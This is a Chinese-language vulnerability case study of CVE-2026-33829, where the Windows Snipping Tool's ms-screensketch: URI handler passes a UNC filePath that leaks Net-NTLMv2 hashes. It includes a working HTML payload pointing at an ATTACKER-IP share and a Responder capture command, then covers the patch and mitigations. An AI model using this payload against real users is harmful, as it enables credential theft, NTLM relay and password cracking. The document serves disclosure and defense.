漏洞案例研究:CVE-2026-33829(Windows 截图工具 NTLM 强制认证)
本文详细记录了CVE-2026-33829的技术复现过程,这是现代 Windows 截图工具应用程序框架中的一个信息泄露漏洞。通过滥用自定义 URI 协议处理器中一个未经验证的输入参数,远程主机可以强制未打补丁的 Windows 机器发起出站 SMB 连接,从而导致 Net-NTLMv2 身份验证哈希值通过网络泄露。
URI 方案 —— (Windows 使用自定义协议(如 ms-screensketch:、ms-settings:、file:)让 Web 浏览器与桌面应用程序通信。)
该漏洞的根本原因在于 URI 方案(ms-screensketch:edit)。当受害者点击包含(ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png)的恶意链接并批准“打开截图工具”时,操作系统会调用 SnippingTool.exe 并将恶意的 filePath 参数(如 ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png)传递给它,而没有进行适当的验证。
由于存在 :edit? 参数,截图工具会尝试从提供的文件路径(filePath=\\ATTACKER-IP\\share\evil.png)编辑文件。这会导致使用服务器消息块(SMB)协议发起网络连接。由于 SMB 旨在验证谁在请求文件,Windows 会自动尝试对用户进行身份验证。它会将当前登录用户的 Net-NTLMv2 质询-响应哈希发送到攻击者的服务器。整个过程在后台静默进行,用户看不到任何可见的警告或提示。
攻击者捕获受害者的 Net-NTLMv2 质询-响应身份验证数据。一旦攻击者获得了受害者的 Net-NTLM 哈希,他们可以:执行 NTLM 中继攻击来冒充受害者并访问内部网络资源或企业中的其他服务;或者将捕获的哈希离线,使用暴力破解或字典攻击来发现受害者实际的明文 Windows 密码。
为了触发处理器,部署了一个简单的 HTML 负载来模拟钓鱼或内网攻陷场景。
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">启动验证</button>
</body>
</html>
为了捕获哈希值,部署了一个运行 Responder 的隔离 Kali Linux 实例。
sudo responder -I eth0 -v
在目标 Windows 环境中点击按钮后,应用程序打开了“编辑”上下文,并立即将 SMB 请求路由到侦听主机。身份验证质询-响应序列无缝完成,捕获了目标用户上下文的 Net-NTLMv2 哈希结构。
NTLMSSP_NEGOTIATE 数据包显示受害系统在解析攻击者控制的 UNC 路径后,在 SMB 会话建立期间发起 NTLM 身份验证。
NTLMSSP_AUTH 数据包包含受害系统在质询阶段完成后传输的 Net-NTLMv2 质询-响应身份验证数据。
从那里,攻击者捕获传递的 NTLMv2 哈希值。
捕获的 Net-NTLMv2 质询-响应数据可用于 NTLM 中继攻击,或根据目标环境进行离线密码破解尝试。
微软是如何修补这个漏洞的?
在修补之前,截图工具的编辑功能会直接提取 filePath 内的字符串并将其传递给文件打开 API。
观察到的修补后行为表明,微软引入了验证逻辑,阻止基于 UNC/网络的 filePath 值到达底层文件处理 API。现在,当您向 filePath 传递字符串时,应用程序会先进行合理性检查,然后再将其交给操作系统:
它会检查该字符串是否以本地驱动器标记(如 C:\ 或 D:\)或标准的安全本地系统变量开头。
如果应用程序检测到通用命名约定(UNC)前缀(如 \ 或 \\),或外部 IP 网络模式,验证循环会将其标记为非法参数,抛出异常错误,并立即终止文件加载过程。
由于代码在执行 Win32 文件打开指令之前就停止了,Windows 内核永远不会收到请求,因此不会发送任何 SMB 数据包。
如果我们在应用安全更新后再次尝试,应用程序仍然会调用 ms-screensketch: 处理器,但远程 filePath 值将不再通过编辑工作流进行解析。
确保所有 Windows 终端都已更新至 2026 年 4 月 14 日安全补丁基线之后,该基线为应用程序处理器引入了严格的输入验证边界。
强制执行严格的出站防火墙规则,阻止向未经授权的外部网络发送出站 TCP 端口 445 流量,以降低凭据泄露的风险。
配置组策略对象(GPO)以限制向远程服务器发送出站 NTLM 流量,并在适用时强制使用 Kerberos 等安全的替代协议。
免责声明:本文档仅供教育、防御性研究和实验室验证目的使用。所有测试均在完全隔离的沙箱环境中进行。